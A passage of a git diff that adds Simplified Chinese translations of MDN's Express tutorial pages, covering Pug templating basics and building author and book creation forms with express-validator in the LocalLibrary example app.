div(class='col-sm-10') + block content</code></pre> + +<p>此模板使用(并包含)来自 <a class="external external-icon" href="http://getbootstrap.com/" rel="noopener">Bootstrap</a> 的 JavaScript 和 CSS ,以改进HTML页面的布局和呈现方式。使用Bootstrap 或其它客户端网页框架,是一种快速的方式,可以创建吸引人的网页,能够良好地适应不同的浏览器尺寸,并且允许我们处理页面的呈现,而不需要纠缠于任何不同尺寸的细节—此处我们只想专注于伺服端代码!</p> + +<p>布局的安排应该相当明白,假如你已经阅读了之前的 <a href="https://developer.mozilla.org/en-US/docs/Learn/Server-side/Express_Nodejs/Displaying_data#Template_primer">模板入门</a>。注意,使用 <code>block content</code> 当做定位符号,放到页面内容将要放置的地方。</p> + +<p>基础模板也参考了一个本地 css 档 (<strong>style.css</strong>) ,此档提供了一些额外的样式。打开 <strong>/public/stylesheets/style.css</strong> ,并用底下的 CSS 代码,取代它的内容:</p> + +<pre class="brush: css line-numbers language-css notranslate"><code class="language-css"><span class="selector token"><span class="class token">.sidebar-nav</span> </span><span class="punctuation token">{</span> + <span class="property token">margin-top</span><span class="punctuation token">:</span> <span class="number token">20</span>px<span class="punctuation token">;</span> + <span class="property token">padding</span><span class="punctuation token">:</span> <span class="number token">0</span><span class="punctuation token">;</span> + <span class="property token">list-style</span><span class="punctuation token">:</span> none<span class="punctuation token">;</span> +<span class="punctuation token">}</span></code></pre> + +<p>当我们开始运行网站时,我们应该看到侧边栏出现!在本教程的下个部分,我们将使用以上的布局,来定义各个页面。</p> + +<h2 id="下一步">下一步</h2> + +<ul> + <li>回到 <a href="/zh-CN/docs/Learn/Server-side/Express_Nodejs/Displaying_data">Express 教程 5: 呈现图书馆数据</a></li> + <li>继续教程 5 的下個部分: <a href="/zh-CN/docs/Learn/Server-side/Express_Nodejs/Displaying_data/Home_page">主页</a></li> +</ul> diff --git a/files/zh-cn/learn/server-side/express_nodejs/displaying_data/template_primer/index.html b/files/zh-cn/learn/server-side/express_nodejs/displaying_data/template_primer/index.html new file mode 100644 index 0000000000..374957bb1b --- /dev/null +++ b/files/zh-cn/learn/server-side/express_nodejs/displaying_data/template_primer/index.html @@ -0,0 +1,149 @@ +--- +title: 模板入门 +slug: learn/Server-side/Express_Nodejs/Displaying_data/Template_primer +translation_of: Learn/Server-side/Express_Nodejs/Displaying_data/Template_primer +--- +<p>模板是一个文字档,定义了一个输出档的结构或者排版,使用定位符号表示,当模板被绘制时,资料将插入到何处(在Express,模板被称为视图)。</p> + +<h2 id="Express_模板选择">Express 模板选择</h2> + +<p>Express 可以与许多不同的<a href="https://expressjs.com/en/guide/using-template-engines.html">模板渲染引擎</a>一起使用。在本教程中,我们使用<a class="external external-icon" href="https://pugjs.org/api/getting-started.html" rel="noopener">Pug</a>(以前称为Jade)作为模板。这是最流行的 Node 模板语言,并且官方将自身描述为 “用于编写HTML,语法干净且空格敏感,受 <a class="external external-icon" href="http://haml.info/" rel="noopener">Haml</a>影响很大”。</p> + +<p>不同的模板语言使用不同的方法,来定义布局和标记数据的占位符 — 一些使用 HTML 来定义布局,而另一些则使用可以编译为 HTML 的不同标记格式。Pug 是第二种类型;它使用 HTML 的表示形式,其中任何行中的第一个单词,通常表示HTML元素,后续行中的缩进,用于表示嵌套在这些元素中的任何内容。结果是一个页面定义直接转换为 HTML,但可以说更简洁,更容易阅读。</p> + +<div class="note"> +<p><strong>注意:</strong> 使用 Pug 的缺点,是它对缩进和空格敏感(如果在错误的位置添加额外的空格,可能会得到没什么帮助的错误代码)。但是,一旦您的模板到位,它们就很容易阅读和维护。</p> +</div> + +<h2 class="highlight-spanned" id="模板组态"><span class="highlight-span">模板</span>组态</h2> + +<p>在我们<a href="/zh-CN/docs/Learn/Server-side/Express_Nodejs/skeleton_website">创建骨架网站</a>时,LocalLibrary 配置为使用 <a class="external external-icon" href="https://pugjs.org/api/getting-started.html" rel="noopener">Pug</a>。您应该看到 Pug 模块作为依赖项,包含在网站的 <strong>package.json</strong>文件中,以及 <strong>app.js</strong>文件中的以下配置设置。设置告诉我们,使用 Pug 作为视图引擎,Express 应该在<strong> /views</strong>子目录中搜索模板。</p> + +<pre class="brush: js line-numbers language-js"><code class="language-js"><span class="comment token">// View engine setup.</span> +app<span class="punctuation token">.</span><span class="keyword token">set</span><span class="punctuation token">(</span><span class="string token">'views'</span><span class="punctuation token">,</span> path<span class="punctuation token">.</span><span class="function token">join</span><span class="punctuation token">(</span>__dirname<span class="punctuation token">,</span> <span class="string token">'views'</span><span class="punctuation token">)</span><span class="punctuation token">)</span><span class="punctuation token">;</span> +app<span class="punctuation token">.</span><span class="keyword token">set</span><span class="punctuation token">(</span><span class="string token">'view engine'</span><span class="punctuation token">,</span> <span class="string token">'pug'</span><span class="punctuation token">)</span><span class="punctuation token">;</span></code></pre> + +<p>如果查看 views 目录,您将看到项目默认视图的 .pug 文件。这包括需要用自己的内容替换的主页(<strong>index.pug</strong>)和基本模板(<strong>layout.pug</strong>)的视图。</p> + +<pre><code>/express-locallibrary-tutorial //the project root + /views + error.pug + <strong>index.pug</strong> + layout.pug</code> +</pre> + +<h2 class="highlight-spanned" id="模板语法">模板语法</h2> + +<p>下面的示例模板文件,展示了许多 Pug 最有用的功能。</p> + +<p>首先要注意的是,该文件映射典型 HTML 文件的结构,其中(几乎)每一行中的第一个单词是 HTML 元素,并且缩进用于指示嵌套元素。因此,例如,<code>body</code> 本文元素位于 <code>html</code> 元素内,而段落元素(<code>p</code>)位于 <code>body</code> 元素内等。非嵌套元素(例如,各个段落)位于不同的行上。</p> + +<pre class="brush: html line-numbers language-html"><code class="language-html">doctype html +html(lang="en") + head + title= title + script(type='text/javascript'). + body + h1= title + + p This is a line with #[em some emphasis] and #[strong strong text] markup. + p This line has un-escaped data: !{'<span class="tag token"><span class="tag token"><span class="punctuation token"><</span>em</span><span class="punctuation token">></span></span> is emphasised<span class="tag token"><span class="tag token"><span class="punctuation token"></</span>em</span><span class="punctuation token">></span></span>'} and escaped data: #{'<span class="tag token"><span class="tag token"><span class="punctuation token"><</span>em</span><span class="punctuation token">></span></span> is not emphasised<span class="tag token"><span class="tag token"><span class="punctuation token"></</span>em</span><span class="punctuation token">></span></span>'}. + | This line follows on. + p= 'Evaluated and <span class="tag token"><span class="tag token"><span class="punctuation token"><</span>em</span><span class="punctuation token">></span></span>escaped expression<span class="tag token"><span class="tag token"><span class="punctuation token"></</span>em</span><span class="punctuation token">></span></span>:' + title + + <span class="comment token"><!-- You can add HTML comments directly --></span> + // You can add single line JavaScript comments and they are generated to HTML comments + //- Introducing a single line JavaScript comment with "//-" ensures the comment isn't rendered to HTML + + p A line with a link + a(href='/catalog/authors') Some link text + | and some extra text. + + #container.col + if title + p A variable named "title" exists. + else + p A variable named "title" does not exist. + p. + Pug is a terse and simple template language with a + strong focus on performance and powerful features. + + h2 Generate a list + + ul + each val in [1, 2, 3, 4, 5] + li= val</code></pre> + +<p>元素属性被定义在其关联元素之后的括号中。在括号内,属性定义在以逗号或空格分隔的属性名称和属性值对的列表中,例如:</p> + +<ul> + <li><code>script(type='text/javascript')</code>, <code>link(rel='stylesheet', href='/stylesheets/style.css')</code></li> + <li><code>meta(name='viewport' content='width=device-width initial-scale=1')</code></li> +</ul> + +<p>所有属性的值都被转义(例如 “<code>></code>” 等字符转换为 HTML 代码等效项,如“<code>&gt;</code>”),以防止注入 JavaScript 或跨站点脚本攻击。</p> + +<p>如果标记后跟着等号,则以下文本将被视为 JavaScript 表达式。因此,打个比方,在下面的第一行中,<code>h1</code>标记的内容将是标题变量<code>title</code>(在文件中定义,或从 Express 传递到模板中)。在第二行中,段落内容是与标题变量<code>title</code>连接的文本字符串。在这两种情况下,默认行为是转义该行。</p> + +<pre class="brush: html line-numbers language-html"><code class="language-html">h1= title +p= 'Evaluated and <span class="tag token"><span class="tag token"><span class="punctuation token"><</span>em</span><span class="punctuation token">></span></span>escaped expression<span class="tag token"><span class="tag token"><span class="punctuation token"></</span>em</span><span class="punctuation token">></span></span>:' + title</code></pre> + +<p>如果标记后面没有等号,则将内容视为纯文本。在纯文本中,您可以使用<code>#{}</code> 和<code>!{}</code>语法,插入转义和非转义数据,如下所示。您还可以在纯文本中添加原始 HTML。</p> + +<pre class="brush: html line-numbers language-html"><code class="language-html">p This is a line with #[em some emphasis] and #[strong strong text] markup. +p This line has an un-escaped string: !{'<span class="tag token"><span class="tag token"><span class="punctuation token"><</span>em</span><span class="punctuation token">></span></span> is emphasised<span class="tag token"><span class="tag token"><span class="punctuation token"></</span>em</span><span class="punctuation token">></span></span>'}, an escaped string: #{'<span class="tag token"><span class="tag token"><span class="punctuation token"><</span>em</span><span class="punctuation token">></span></span> is not emphasised<span class="tag token"><span class="tag token"><span class="punctuation token"></</span>em</span><span class="punctuation token">></span></span>'}, and escaped variables: #{title}.</code></pre> + +<div class="note"> +<p><strong>提示:</strong> 您几乎总是希望转义来自用户的数据(通过<strong><code>#{}</code></strong>语法)。可信任的数据(例如,生成的记录计数等)可以不先转义就显示。</p> +</div> + +<p>您可以在行的开头使用管道(“<strong>|</strong>”)字符来表示“<a href="https://pugjs.org/language/plain-text.html">纯文本</a>”。例如,下面显示的附加文本,将显示在与前一个锚点相同的行上,但不会链接。</p> + +<pre class="brush: html line-numbers language-html"><code class="language-html">a(href='http://someurl/') Link text +| Plain text</code></pre> + +<p>Pug 允许您使用<code>if</code>, <code>else</code> , <code>else if</code> 和 <code>unless</code>执行条件操作 - 例如:</p> + +<pre class="brush: html line-numbers language-html"><code class="language-html">if title + p A variable named "title" exists +else + p A variable named "title" does not exist</code></pre> + +<p>以使用<code>each-in</code> 或 <code>while</code>语法执行循环/迭代操作。在下面的代码片段中,我们循环遍历数组,以显示变量列表(注意,使用 'li =' 来评估 “val” ,以作为下面的变量。)迭代的值也可以传递给模板作为变量!</p> + +<pre class="brush: html line-numbers language-html"><code class="language-html">ul + each val in [1, 2, 3, 4, 5] + li= val</code></pre> + +<p>语法还支持注释(可以在输出中呈现 - 或者不是 - 可自行选择),支持mixins创建可重用的代码块,case语句和许多其他功能。有关更多详细信息,请参阅<a class="external external-icon" href="https://pugjs.org/api/getting-started.html" rel="noopener">Pug</a>文档。</p> + +<h2 class="highlight-spanned" id="扩展模板">扩展模板</h2> + +<p>在一个站点中,通常所有页面都有一个共同的结构,包括页首,页脚,导航等的标准HTML标记。比起强迫开发人员在每个页面中复制这个 “样板”的做法,Pug 允许你声明一个基本模板,然后扩展它,只替换每个特定页面不同的地方。</p> + +<p>例如,在我们的<a href="/zh-CN/docs/Learn/Server-side/Express_Nodejs/skeleton_website">骨架项目</a>中,创建的基本模板 <strong>layout.pug</strong>,如下所示:</p> + +<pre class="brush: html line-numbers language-html"><code class="language-html">doctype html +html + head + title= title + link(rel='stylesheet', href='/stylesheets/style.css') + body + block content</code></pre> + +<p>块标记<code>block</code>用于标记 “可在派生模板中替换的内容部分“(如果未重新定义块,则使用其在基类中的实现)。</p> + +<p>默认的 <strong>index.pug</strong>(为我们的骨架项目所创建),显示了我们如何覆盖基本模板。<code>extends</code>标记,标识要使用的基本模板,然后我们使用 <code>block <em>section_name</em></code> ,来指示我们将覆盖的部分的新内容。</p> + +<pre class="brush: html line-numbers language-html"><code class="language-html">extends layout + +block content + h1= title + p Welcome to #{title}</code></pre> + +<h2 id="下一步">下一步</h2> + +<ul> + <li>回到 <a href="/zh-CN/docs/Learn/Server-side/Express_Nodejs/Displaying_data">Express 教程 5: 呈现图书馆数据</a></li> + <li>继续教程 5下一个部分: <a href="/zh-CN/docs/Learn/Server-side/Express_Nodejs/Displaying_data/LocalLibrary_base_template">图书馆基本模板</a></li> +</ul> diff --git a/files/zh-cn/learn/server-side/express_nodejs/forms/create_author_form/index.html b/files/zh-cn/learn/server-side/express_nodejs/forms/create_author_form/index.html new file mode 100644 index 0000000000..84a1b71db3 --- /dev/null +++ b/files/zh-cn/learn/server-side/express_nodejs/forms/create_author_form/index.html @@ -0,0 +1,155 @@ +--- +title: 创建作者表单 +slug: learn/Server-side/Express_Nodejs/forms/Create_author_form +translation_of: Learn/Server-side/Express_Nodejs/forms/Create_author_form +--- +<p><a class="button section-edit only-icon" href="https://developer.mozilla.org/en-US/docs/Learn/Server-side/Express_Nodejs/forms$edit#Create_author_form" rel="nofollow, noindex"><span>Ed</span></a>本章节演示,如何为创建作者对象<code>Author</code>定义一个页面。</p> + +<h2 class="highlight-spanned" id="导入验证和清理方法">导入验证和清理方法</h2> + +<p>为了在种类表单使用express验证器,我们必须用 require 导入我们想用的函式。</p> + +<p>打开 <strong>/controllers/authorController.js</strong>,并在档案最上方加入底下几行:</p> + +<pre class="brush: js line-numbers language-js"><code class="language-js"><span class="keyword token">const</span> <span class="punctuation token">{</span> body<span class="punctuation token">,</span>validationResult <span class="punctuation token">}</span> <span class="operator token">=</span> <span class="function token">require</span><span class="punctuation token">(</span><span class="string token">'express-validator/check'</span><span class="punctuation token">)</span><span class="punctuation token">;</span> +<span class="keyword token">const</span> <span class="punctuation token">{</span> sanitizeBody <span class="punctuation token">}</span> <span class="operator token">=</span> <span class="function token">require</span><span class="punctuation token">(</span><span class="string token">'express-validator/filter'</span><span class="punctuation token">)</span><span class="punctuation token">;</span></code></pre> + +<h2 class="highlight-spanned" id="控制器—get_路由"><span class="highlight-span">控制器—get 路由</span></h2> + +<p>找到导出的 <code>author_create_get()</code>控制器方法,并替换为底下代码。这里单纯呈现 <strong>author_form.pug</strong> 视图,传送 <code>title</code> 变数。</p> + +<pre class="brush: js line-numbers language-js"><code class="language-js"><span class="comment token">// Display Author create form on GET.</span> +exports<span class="punctuation token">.</span>author_create_get <span class="operator token">=</span> <span class="keyword token">function</span><span class="punctuation token">(</span>req<span class="punctuation token">,</span> res<span class="punctuation token">,</span> next<span class="punctuation token">)</span> <span class="punctuation token">{</span> + res<span class="punctuation token">.</span><span class="function token">render</span><span class="punctuation token">(</span><span class="string token">'author_form'</span><span class="punctuation token">,</span> <span class="punctuation token">{</span> title<span class="punctuation token">:</span> <span class="string token">'Create Author'</span><span class="punctuation token">}</span><span class="punctuation token">)</span><span class="punctuation token">;</span> +<span class="punctuation token">}</span><span class="punctuation token">;</span></code></pre> + +<h2 class="highlight-spanned" id="控制器—post_路由"><span class="highlight-span">控制器—post 路由</span></h2> + +<p>找到导出的 <code>author_create_post()</code> 控制器方法,并替换为底下代码。</p> + +<pre class="brush: js line-numbers language-js"><code class="language-js"><span class="comment token">// Handle Author create on POST.</span> +exports<span class="punctuation token">.</span>author_create_post <span class="operator token">=</span> <span class="punctuation token">[</span> + + <span class="comment token">// Validate fields.</span> + <span class="function token">body</span><span class="punctuation token">(</span><span class="string token">'first_name'</span><span class="punctuation token">)</span><span class="punctuation token">.</span><span class="function token">isLength</span><span class="punctuation token">(</span><span class="punctuation token">{</span> min<span class="punctuation token">:</span> <span class="number token">1</span> <span class="punctuation token">}</span><span class="punctuation token">)</span><span class="punctuation token">.</span><span class="function token">trim</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">.</span><span class="function token">withMessage</span><span class="punctuation token">(</span><span class="string token">'First name must be specified.'</span><span class="punctuation token">)</span> + <span class="punctuation token">.</span><span class="function token">isAlphanumeric</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">.</span><span class="function token">withMessage</span><span class="punctuation token">(</span><span class="string token">'First name has non-alphanumeric characters.'</span><span class="punctuation token">)</span><span class="punctuation token">,</span> + <span class="function token">body</span><span class="punctuation token">(</span><span class="string token">'family_name'</span><span class="punctuation token">)</span><span class="punctuation token">.</span><span class="function token">isLength</span><span class="punctuation token">(</span><span class="punctuation token">{</span> min<span class="punctuation token">:</span> <span class="number token">1</span> <span class="punctuation token">}</span><span class="punctuation token">)</span><span class="punctuation token">.</span><span class="function token">trim</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">.</span><span class="function token">withMessage</span><span class="punctuation token">(</span><span class="string token">'Family name must be specified.'</span><span class="punctuation token">)</span> + <span class="punctuation token">.</span><span class="function token">isAlphanumeric</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">.</span><span class="function token">withMessage</span><span class="punctuation token">(</span><span class="string token">'Family name has non-alphanumeric characters.'</span><span class="punctuation token">)</span><span class="punctuation token">,</span> + <span class="function token">body</span><span class="punctuation token">(</span><span class="string token">'date_of_birth'</span><span class="punctuation token">,</span> <span class="string token">'Invalid date of birth'</span><span class="punctuation token">)</span><span class="punctuation token">.</span><span class="function token">optional</span><span class="punctuation token">(</span><span class="punctuation token">{</span> checkFalsy<span class="punctuation token">:</span> <span class="keyword token">true</span> <span class="punctuation token">}</span><span class="punctuation token">)</span><span class="punctuation token">.</span><span class="function token">isISO8601</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">,</span> + <span class="function token">body</span><span class="punctuation token">(</span><span class="string token">'date_of_death'</span><span class="punctuation token">,</span> <span class="string token">'Invalid date of death'</span><span class="punctuation token">)</span><span class="punctuation token">.</span><span class="function token">optional</span><span class="punctuation token">(</span><span class="punctuation token">{</span> checkFalsy<span class="punctuation token">:</span> <span class="keyword token">true</span> <span class="punctuation token">}</span><span class="punctuation token">)</span><span class="punctuation token">.</span><span class="function token">isISO8601</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">,</span> + + <span class="comment token">// Sanitize fields.</span> + <span class="function token">sanitizeBody</span><span class="punctuation token">(</span><span class="string token">'first_name'</span><span class="punctuation token">)</span><span class="punctuation token">.</span><span class="function token">trim</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">.</span><span class="function token">escape</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">,</span> + <span class="function token">sanitizeBody</span><span class="punctuation token">(</span><span class="string token">'family_name'</span><span class="punctuation token">)</span><span class="punctuation token">.</span><span class="function token">trim</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">.</span><span class="function token">escape</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">,</span> + <span class="function token">sanitizeBody</span><span class="punctuation token">(</span><span class="string token">'date_of_birth'</span><span class="punctuation token">)</span><span class="punctuation token">.</span><span class="function token">toDate</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">,</span> + <span class="function token">sanitizeBody</span><span class="punctuation token">(</span><span class="string token">'date_of_death'</span><span class="punctuation token">)</span><span class="punctuation token">.</span><span class="function token">toDate</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">,</span> + + <span class="comment token">// Process request after validation and sanitization.</span> + <span class="punctuation token">(</span>req<span class="punctuation token">,</span> res<span class="punctuation token">,</span> next<span class="punctuation token">)</span> <span class="operator token">=</span><span class="operator token">></span> <span class="punctuation token">{</span> + + <span class="comment token">// Extract the validation errors from a request.</span> + <span class="keyword token">const</span> errors <span class="operator token">=</span> <span class="function token">validationResult</span><span class="punctuation token">(</span>req<span class="punctuation token">)</span><span class="punctuation token">;</span> + + <span class="keyword token">if</span> <span class="punctuation token">(</span><span class="operator token">!</span>errors<span class="punctuation token">.</span><span class="function token">isEmpty</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">)</span> <span class="punctuation token">{</span> + <span class="comment token">// There are errors. Render form again with sanitized values/errors messages.</span> + res<span class="punctuation token">.</span><span class="function token">render</span><span class="punctuation token">(</span><span class="string token">'author_form'</span><span class="punctuation token">,</span> <span class="punctuation token">{</span> title<span class="punctuation token">:</span> <span class="string token">'Create Author'</span><span class="punctuation token">,</span> author<span class="punctuation token">:</span> req<span class="punctuation token">.</span>body<span class="punctuation token">,</span> errors<span class="punctuation token">:</span> errors<span class="punctuation token">.</span><span class="function token">array</span><span class="punctuation token">(</span><span class="punctuation token">)</span> <span class="punctuation token">}</span><span class="punctuation token">)</span><span class="punctuation token">;</span> + <span class="keyword token">return</span><span class="punctuation token">;</span> + <span class="punctuation token">}</span> + <span class="keyword token">else</span> <span class="punctuation token">{</span> + <span class="comment token">// Data from form is valid.</span> + + <span class="comment token">// Create an Author object with escaped and trimmed data.</span> + <span class="keyword token">var</span> author <span class="operator token">=</span> <span class="keyword token">new</span> <span class="class-name token">Author</span><span class="punctuation token">(</span> + <span class="punctuation token">{</span> + first_name<span class="punctuation token">:</span> req<span class="punctuation token">.</span>body<span class="punctuation token">.</span>first_name<span class="punctuation token">,</span> + family_name<span class="punctuation token">:</span> req<span class="punctuation token">.</span>body<span class="punctuation token">.</span>family_name<span class="punctuation token">,</span> + date_of_birth<span class="punctuation token">:</span> req<span class="punctuation token">.</span>body<span class="punctuation token">.</span>date_of_birth<span class="punctuation token">,</span> + date_of_death<span class="punctuation token">:</span> req<span class="punctuation token">.</span>body<span class="punctuation token">.</span>date_of_death + <span class="punctuation token">}</span><span class="punctuation token">)</span><span class="punctuation token">;</span> + author<span class="punctuation token">.</span><span class="function token">save</span><span class="punctuation token">(</span><span class="keyword token">function</span> <span class="punctuation token">(</span>err<span class="punctuation token">)</span> <span class="punctuation token">{</span> + <span class="keyword token">if</span> <span class="punctuation token">(</span>err<span class="punctuation token">)</span> <span class="punctuation token">{</span> <span class="keyword token">return</span> <span class="function token">next</span><span class="punctuation token">(</span>err<span class="punctuation token">)</span><span class="punctuation token">;</span> <span class="punctuation token">}</span> + <span class="comment token">// Successful - redirect to new author record.</span> + res<span class="punctuation token">.</span><span class="function token">redirect</span><span class="punctuation token">(</span>author<span class="punctuation token">.</span>url<span class="punctuation token">)</span><span class="punctuation token">;</span> + <span class="punctuation token">}</span><span class="punctuation token">)</span><span class="punctuation token">;</span> + <span class="punctuation token">}</span> + <span class="punctuation token">}</span> +<span class="punctuation token">]</span><span class="punctuation token">;</span></code></pre> + +<p>此代码的结构和行为,几乎与创建<code>Genre</code>对象完全相同。首先,我们验证并清理数据。如果数据无效,那么我们将重新显示表单,以及用户最初输入的数据,和错误消息列表。如果数据有效,那么我们保存新的作者记录,并将用户重定向到作者详细信息页面。</p> + +<div class="note"> +<p><strong>注意:</strong>与<code>Genre</code> post处理程序不同,我们不会在保存之前,检查<code>Author</code>对象是否已存在。可以说,我们应该这样做,尽管现在我们可以有多个具有相同名称的作者。</p> +</div> + +<p>验证代码演示了几个新功能:</p> + +<ul> + <li>我们可以用菊花链式连接验证器,使用<code>withMessage()</code>指定在前一个验证方法失败时,显示的错误消息。这使得在没有大量代码重复的情况下,提供特定的错误消息变得非常容易。 + + <pre class="brush: js">// Validate fields. +body('first_name').isLength({ min: 1 }).trim().withMessage('First name must be specified.') + .isAlphanumeric().withMessage('First name has non-alphanumeric characters.'),<code> +</code></pre> + </li> + <li>我们可以使用<code>optional()</code>函数,仅在输入字段时运行后续验证(这允许我们验证可选字段)。例如,下面我们检查可选的出生日期是否符合 ISO8601 标准(<code>checkFalsy</code> 旗标,表示我们接受空字符串或<code>null</code>作为空值)。 + <pre class="line-numbers language-html"><code class="language-html">body('date_of_birth', 'Invalid date of birth').optional({ checkFalsy: true }).isISO8601(),</code></pre> + </li> +</ul> + +<ul> + <li>参数从请求中作为字符串接收。我们可以使用<code>toDate()</code>(或<code>toBoolean()</code>等)将这些转换为正确的JavaScript类型。 + + <pre class="brush: js line-numbers language-js"><code class="language-js"><span class="function token">sanitizeBody</span><span class="punctuation token">(</span><span class="string token">'date_of_birth'</span><span class="punctuation token">)</span><span class="punctuation token">.</span><span class="function token">toDate</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">,</span></code></pre> + </li> +</ul> + +<h2 class="highlight-spanned" id="视图"><span class="highlight-span">视图</span></h2> + +<p>创建 <strong>/views/author_form.pug</strong> 并复制贴上以下文字。</p> + +<pre class="line-numbers language-html"><code class="language-html">extends layout + +block content + h1=title + + form(method='POST' action='') + div.form-group + label(for='first_name') First Name: + input#first_name.form-control(type='text' placeholder='First name (Christian) last' name='first_name' required='true' value=(undefined===author ? '' : author.first_name) ) + label(for='family_name') Family Name: + input#family_name.form-control(type='text' placeholder='Family name (surname)' name='family_name' required='true' value=(undefined===author ? '' : author.family_name)) + div.form-group + label(for='date_of_birth') Date of birth: + input#date_of_birth.form-control(type='date' name='date_of_birth' value=(undefined===author ? '' : author.date_of_birth) ) + button.btn.btn-primary(type='submit') Submit + if errors + ul + for error in errors + li!= error.msg</code></pre> + +<p>此视图的结构和行为与<strong>genre_form.pug</strong>模板完全相同,因此我们不再对其进行描述。</p> + +<div class="note"> +<p><strong>注意:</strong> 某些浏览器不支持input <code>type=“date”</code>,因此您不会获得日期选取部件或默认的<em><code>dd/mm/yyyy</code></em>占位符,而是获取一个空的纯文本字段。一种解决方法,是明确添加属性<code>placeholder='dd/mm/yyyy'</code>,以便在功能较少的浏览器上,仍然可以获得有关所需文本格式的信息。</p> +</div> + +<h3 id="自我挑战_加入死亡日期">自我挑战: 加入死亡日期</h3> + +<p>上面的模板少了一个输入字段 <code>date_of_death</code> 。依照跟生日表单同样的模式,创建此字段!</p> + +<h2 class="highlight-spanned" id="它看起來像是"><span class="highlight-span">它看起來像是?</span></h2> + +<p>运行本应用,打开浏览器访问网址<a class="external external-icon" href="http://localhost:3000/" rel="noopener">http://localhost:3000/</a>,然后点击创建新作者 Create new author 连结。如果每个东西都设定正确了,你的网站看起应该像底下的截图。在你输入一个值之后,它应该会被储存,并且你将被带到作者详细信息页面。</p> + +<p><img alt="Author Create Page - Express Local Library site" src="https://mdn.mozillademos.org/files/14482/LocalLibary_Express_Author_Create_Empty.png" style="display: block; height: 426px; margin: 0px auto; width: 800px;"></p> + +<div class="note"> +<p><strong>注意:</strong> 如果您尝试使用日期的各种输入格式,您可能会发现格式<code>yyyy-mm-dd</code>行为不正常。这是因为 JavaScript 将日期字符串,视为包含 0 小时的时间,但另外将该格式的日期字符串(ISO 8601标准)视为包括 0 小时 UTC 时间,而不是本地时间。如果您的时区在 UTC 以西,则日期显示(即本地)将在您输入的日期之前一天。这是我们在这里没有解决的几个复杂问题之一(例如多字姓和有多个作者的书本)。</p> +</div> + +<h2 id="下一步">下一步</h2> + +<ul> + <li>回到 <a href="/zh-CN/docs/Learn/Server-side/Express_Nodejs/forms">Express 教程 6: 使用表单</a></li> + <li>继续教程 6 的下一个部分: <a href="/zh-CN/docs/Learn/Server-side/Express_Nodejs/forms/Create_book_form">创建书本表单</a></li> +</ul> diff --git a/files/zh-cn/learn/server-side/express_nodejs/forms/create_book_form/index.html b/files/zh-cn/learn/server-side/express_nodejs/forms/create_book_form/index.html new file mode 100644 index 0000000000..4b460b36ea --- /dev/null +++ b/files/zh-cn/learn/server-side/express_nodejs/forms/create_book_form/index.html @@ -0,0 +1,212 @@ +--- +title: 创建书本表单 +slug: learn/Server-side/Express_Nodejs/forms/Create_book_form +translation_of: Learn/Server-side/Express_Nodejs/forms/Create_book_form +--- +<p><a class="button section-edit only-icon" href="https://developer.mozilla.org/en-US/docs/Learn/Server-side/Express_Nodejs/forms$edit#Create_book_form" rel="nofollow, noindex">Edit</a> 此子文档显示如何定义页面/表单以创建<code>Book</code>对象。这比相同的作者<code>Author</code>或种类<code>Genre</code>页面稍微复杂一点,因为我们需要在我们的书本表单中,获取并显示可用的作者和种类记录。</p> + +<h2 class="highlight-spanned" id="导入验证和清理方法">导入验证和清理方法</h2> + +<p>打开 <strong>/controllers/bookController.js</strong>,并在文件顶部添加以下行:</p> + +<pre class="brush: js line-numbers language-js">const { body,validationResult } = require('express-validator/check'); +const { sanitizeBody } = require('express-validator/filter');</pre> + +<h2 class="highlight-spanned" id="控制器—get_路由">控制器—get 路由</h2> + +<p>找到导出的<code>book_create_get()</code> 控制器方法,并将其替换为以下代码。</p> + +<pre class="brush: js line-numbers language-js">// Display book create form on GET. +exports.book_create_get = function(req, res, next) { + + // Get all authors and genres, which we can use for adding to our book. + async.parallel({ + authors: function(callback) { + Author.find(callback); + }, + genres: function(callback) { + Genre.find(callback); + }, + }, function(err, results) { + if (err) { return next(err); } + res.render('book_form', { title: 'Create Book', authors: results.authors, genres: results.genres }); + }); + +};</pre> + +<p>这使用异步模块 async(在<a href="/zh-CN/docs/Learn/Server-side/Express_Nodejs/Displaying_data">教程5:显示数据库中的数据</a>),来获取所有作者和种类对象。然后将它们作为名为<code>authors</code>和<code>genres</code>的变量(以及页面标题<code>title</code>),传递给视图<code><strong>book_form.pug</strong></code>。</p> + +<h2 class="highlight-spanned" id="控制器—post_路由">控制器—post 路由</h2> + +<p>找到导出的<code>book_create_post()</code>控制器方法,并将其替换为以下代码。</p> + +<pre class="brush: js line-numbers language-js">// Handle book create on POST. +exports.book_create_post = [ + // Convert the genre to an array. + (req, res, next) => { + if(!(req.body.genre instanceof Array)){ + if(typeof req.body.genre==='undefined') + req.body.genre=[]; + else + req.body.genre=new Array(req.body.genre); + } + next(); + }, + + // Validate fields. + body('title', 'Title must not be empty.').isLength({ min: 1 }).trim(), + body('author', 'Author must not be empty.').isLength({ min: 1 }).trim(), + body('summary', 'Summary must not be empty.').isLength({ min: 1 }).trim(), + body('isbn', 'ISBN must not be empty').isLength({ min: 1 }).trim(), + + // Sanitize fields (using wildcard). + sanitizeBody('*').trim().escape(), + sanitizeBody('genre.*').escape(), + // Process request after validation and sanitization. + (req, res, next) => { + + // Extract the validation errors from a request. + const errors = validationResult(req); + + // Create a Book object with escaped and trimmed data. + var book = new Book( + { title: req.body.title, + author: req.body.author, + summary: req.body.summary, + isbn: req.body.isbn, + genre: req.body.genre + }); + + if (!errors.isEmpty()) { + // There are errors. Render form again with sanitized values/error messages. + + // Get all authors and genres for form. + async.parallel({ + authors: function(callback) { + Author.find(callback); + }, + genres: function(callback) { + Genre.find(callback); + }, + }, function(err, results) { + if (err) { return next(err); } + + // Mark our selected genres as checked. + for (let i = 0; i < results.genres.length; i++) { + if 